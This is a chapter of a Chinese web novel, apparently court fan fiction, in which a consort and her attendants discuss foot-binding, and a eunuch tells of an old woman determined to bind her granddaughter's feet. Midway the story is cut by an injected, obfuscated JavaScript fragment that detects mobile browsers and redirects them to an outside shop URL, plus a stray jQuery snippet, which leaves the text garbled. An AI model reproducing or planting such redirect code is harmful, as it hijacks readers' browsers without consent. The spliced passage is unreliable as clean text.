雍正带着满腔怒意离去后，暖阁内那股无形的紧绷感才缓缓消散。夕阳的余晖将窗棂的影子拉得更长，染上了温暖的橘红色，但方才帝王那番关于“腐儒”、“吃绝户”、“必须得改”的震怒之言，却仿佛给这静谧的春日下午，注入了一种沉甸甸的、亟待破土的力量。


    沈眉庄轻轻舒了口气，手指无意识地绞着帕子，眼中仍残留着惊悸与深思。她看向我，声音压得低低的，带着一丝不确定的担忧：“姐姐，皇上他……似乎动了真怒。我们这功课，是不是……引得皇上思虑过重了？这整顿礼教歪风，涉及千家万户，千百年的积习……动作会不会太大了些？”


    剪秋也凝神听着，显然有同样的顾虑。


    我走到窗边，望着窗外被夕阳染成一片金红的湖面，以及远处开始亮起点点灯火的亭台楼阁。紫禁城的宫墙似乎远在天边，但那里透出的森严与厚重，却无处不在。


    “动作大吗？” 我缓缓重复她的话，转过身，目光平静地扫过她们，“或许吧。但眉儿，秋雁，你们觉得，比起那些被缠足折断脚骨、痛苦一生的女子，比起那些被‘饿死事小失节事大’逼得悬梁投井的寡妇，比起那些被宗族以‘礼法’之名吃干抹净、冻饿而死的孤女……我们这点‘思虑’，这点可能引发的‘动作’，又算得了什么？”


    我的声音不高，却字字清晰：“至少，要让紫禁城里的贵人们知道，这世间还有另一种活法，不是非得折断骨头才能称‘美’；至少，要让那些被礼教压得喘不过气的女人，隐约听到一点声音，知道缠足是不对的，吃绝户是犯法的，朝廷的皇帝，是厌恶这些事的；至少，要让像周宁海那样心里还存着不忍的普通人，能更有底气去问一句‘为什么’。”


    我顿了顿，想起后世某些特定时期，曾有过一种名为“忆苦思甜”的形式，旨在通过回顾苦难，珍惜当下，启迪心智。虽然形式与目的不尽相同，但那种试图唤醒麻木、打破枷锁的意图，或许有相通之处。


    “这或许……可以算作一种‘忆苦思甜’。” 我缓缓道，用了一个她们大概能意会、却又觉新鲜的说法，“不是要否定一切，而是要让人们，尤其是女子，记住那些‘苦’从何来，是因何而起。知道了‘苦’的根源，或许才会更懂得，什么才是真正该珍惜、该追求的‘甜’，也才有勇气，去争取那份‘甜’。”


    沈眉庄和剪秋若有所思。沈眉庄喃喃道：“忆苦思甜……记住苦的根源……”


    就在这时，一直安静侍立在门边阴影里的周宁海，忽然轻轻“啊”了一声，像是想起了什么。他手里还捧着之前雍正用过的笔墨，正准备撤下去清洗。


    剪秋闻声看向他，问道：“周公公，可是想起什么了？”


    周宁海脸上露出一种混合着回忆与困惑的神情，他躬了躬身，道：“回剪秋姑姑，方才听娘娘提起‘不忍’、‘问一句为什么’，奴才……奴才忽然想起一桩旧事，也是好些年前了，那时奴才还没调到娘娘跟前伺候，还在宫外住着。”


    “宫外？” 剪秋好奇道，“周公公以前是住宫外的？”


    “是，” 周宁海点头，“紫禁城里头地方虽大，可值房就那么些，是给当值的内侍和宫女们临时歇脚用的。像奴才这样品级不高的，下了值，腰牌交了，就得回宫外自个儿赁的屋子去住。每日天不亮，再凭腰牌进宫应差。那会儿奴才住得离皇城不远，是条老胡同。”


    他回忆着，语速慢了下来：“有一回，奴才下了值，天色已晚，正往家走。在胡同口，瞧见一个老太太，看年纪得有五十多了，一双脚裹得小小的，正费劲地背着一个鼓鼓囊囊的、看起来挺沉的大布包袱，一步一挪，走得艰难。那背都弯得快贴到地上了。奴才瞧着……心里头怪不落忍的。那包袱看着比她都大。”


    周宁海叹了口气：“奴才就上前，说‘老太太，我帮您背一段吧’。那老太太起初吓了一跳，抬头看我是个太监打扮，又见我面善，才千恩万谢地把包袱给了我。奴才一上手，嚯，还真不轻！也不知里头装的什么。奴才帮她背到胡同深处她家门口，也就几步路，可对她那双小脚来说，怕是得走半晌。”


    他顿了顿，脸上困惑之色更浓：“路上，奴才没忍住，问她：‘老太太，您这脚……走路疼不疼？还背这么重的东西。’ 那老太太用袖子抹了把汗，苦笑着说：‘疼，咋不疼？这脚自打裹上就没舒坦过。这包袱是给人浆洗的衣裳，主家催得急，得多背点，多挣几个铜子儿。’ 她还说……” 周宁海模仿着那老太太当时羡慕的语气，“‘倒是羡慕你们旗人姑娘，天足，走路稳当，干活也利索。我们汉人老婆子，命苦哟。’”


    暖阁里安静下来，只有周宁海的声音在继续：“奴才当时听了，心里更不是滋味。到了她家门口，放下包袱，她又谢了奴才。奴才也不知怎的，脑子一热，就问了句：‘老太太，那……您往后有了孙女，还会给她缠足不？’”


    周宁海抬起头，看着我们，那双平日里总是低眉顺目的眼睛里，此刻充满了真切的、长久未解的迷茫：“那老太太听了，想都没想，就说：‘缠！当然得缠！’ 奴才就愣住了，问她：‘为啥呀？您自己都说疼，也羡慕旗人不缠。’”


    他深吸一口气，仿佛又回到了那个昏暗的胡同傍晚，面对着那个佝偻而固执的老人：“那老太太看着奴才，好像奴才问了啥傻话，她说：‘为啥？美啊！姑娘家一双大脚，跟船似的，多丑！不缠足，哪有好人家肯娶？嫁不出去的！’”


    周宁海说完，脸上那种混杂着怜悯、不解、甚至有一丝荒谬的神情久久不散：“奴才……奴才到现在都没想通。她明明自己受尽了缠足的苦楚，知道疼，知道不便，羡慕不缠足的人。可轮到自己的孙女，她却毫不犹豫地，还是要给她缠上，就因为……‘美’，因为‘嫁不出去’。这……这道理，奴才愚钝，实在绕不明白。”


    暖阁内一片沉寂。夕阳的最后一线光芒也消失在地平线下，暮色悄然弥漫。宫灯尚未点亮，只有天光残余的微明。


    沈眉庄和剪秋都沉默了。她们能理解那老太太的“道理”，那是她们自幼也被灌输过的、关于女子“美”与“价值”的标准的一部分。可当这标准与真实的痛苦、与周宁海口中那“羡慕旗人”的叹息并列时，其荒诞与残酷，便如此赤裸地呈现出来。


    我静静地看着周宁海。这个平日里谨小慎微、以伺候好主子为第一要务的太监，心里竟也藏着这样一份质朴的“不忍”与“想不通”。而这“想不通”，恰恰是改变可能开始的缝隙。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963347|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“周宁海，” 我开口，声音在暮色中显得格外清晰，“你想不通，是因为你心里还存着对‘人’本身的怜惜。你觉得，让人疼、让人不便、甚至可能让人一生困苦的事，不该被称作‘美’，更不该被当成必须遵守的规矩。这没错。”


    我顿了顿，继续道：“那老太太的逻辑，是在她所处的世道里，被无数人、无数遍强化后，内化成本能的‘道理’。她未必不疼惜孙女，但在她看来，让孙女忍受一生的疼痛，换取一个‘美’的名声和一个‘嫁得出去’的未来，是为孙女好。她跳不出那个框子，甚至从没想过，这框子本身，可能就是错的，是可以被打破的。”


    周宁海似懂非懂地点了点头。


    “至于紫禁城值房，” 我话锋一转，回到了他最初提到的细节，“你说得不错。紫禁城虽大，但真正留给宫女太监居住的‘值房’数量有限，且多是供值班时临时歇息之用。除了少数有头脸、在宫中担任要职的嬷嬷、总管，或特许留宫的之外，绝大多数低品级的宫女太监，确实如你所说，每日凭腰牌出入，在宫外赁屋而居。这也是为何宫门下钥、晨钟暮鼓，对他们而言格外重要——误了时辰，便进不了宫，或回不了家。”


    这是紫禁城运作中一个不常被提及、却关乎成千上万宫人日常生活的现实。一道宫墙，隔开了天家富贵与市井烟火，也隔开了这些伺候皇家之人的工作与生活。他们在宫廷里谨小慎微，回到宫外，或许就是那个目睹小脚老太太负重前行的周宁海，是无数个有着各自烦恼与故事的普通人。


    “好了，今日就到这里吧。” 我摆摆手，“周宁海，你将笔墨收拾了，也下去歇着吧。今日这些话，心里有数就行。”


    “嗻。奴才告退。” 周宁海恭敬地行礼，抱着笔墨退下了，脸上那副“想不通”的迷茫神色，似乎淡去了一些，多了些沉静的思索。


    沈眉庄和剪秋也起身告辞。


    我独自站在渐渐被暮色完全笼罩的暖阁中，没有立刻叫人点灯。


    周宁海的故事，像一颗小小的石子，投入心湖。它让我更清晰地看到，那些被礼教规训的“美”与“规矩”，是如何一代代传递，甚至被受害者自身所维护。也让我看到，在森严的宫廷制度之外，那些宫人们同样过着有血有肉、有观察有困惑的生活。


    雍正有意整顿被扭曲的礼教，是自上而下的力量。而如周宁海这般底层宫人心中那份未曾泯灭的“不忍”与“想不通”，或许，是自下而上可能滋生的土壤。


    改变绝非易事。但既然皇帝有了心，底层有了疑，中间如我们这些人，看到了问题……那么，或许真的可以试着做点什么。从“忆苦思甜”，让人们看到“苦”的荒谬与不必要开始；从完善律法，堵住“吃绝户”的漏洞开始；甚至，从改善周宁海这样普通宫人的境遇，让他们活得更有尊严开始……


    路要一步一步走。而第一步，或许就是让更多的人，像周宁海那样，敢于把心中的“想不通”，说出来。


    夜色，终于完全降临了。圆明园的灯火次第亮起，与天上的星子交相辉映。我望着窗外那片属于帝王、也属于无数平凡宫人的浩瀚夜空，心中渐渐明晰。


    这盘棋，越来越复杂，却也似乎……渐渐有了落子的方向。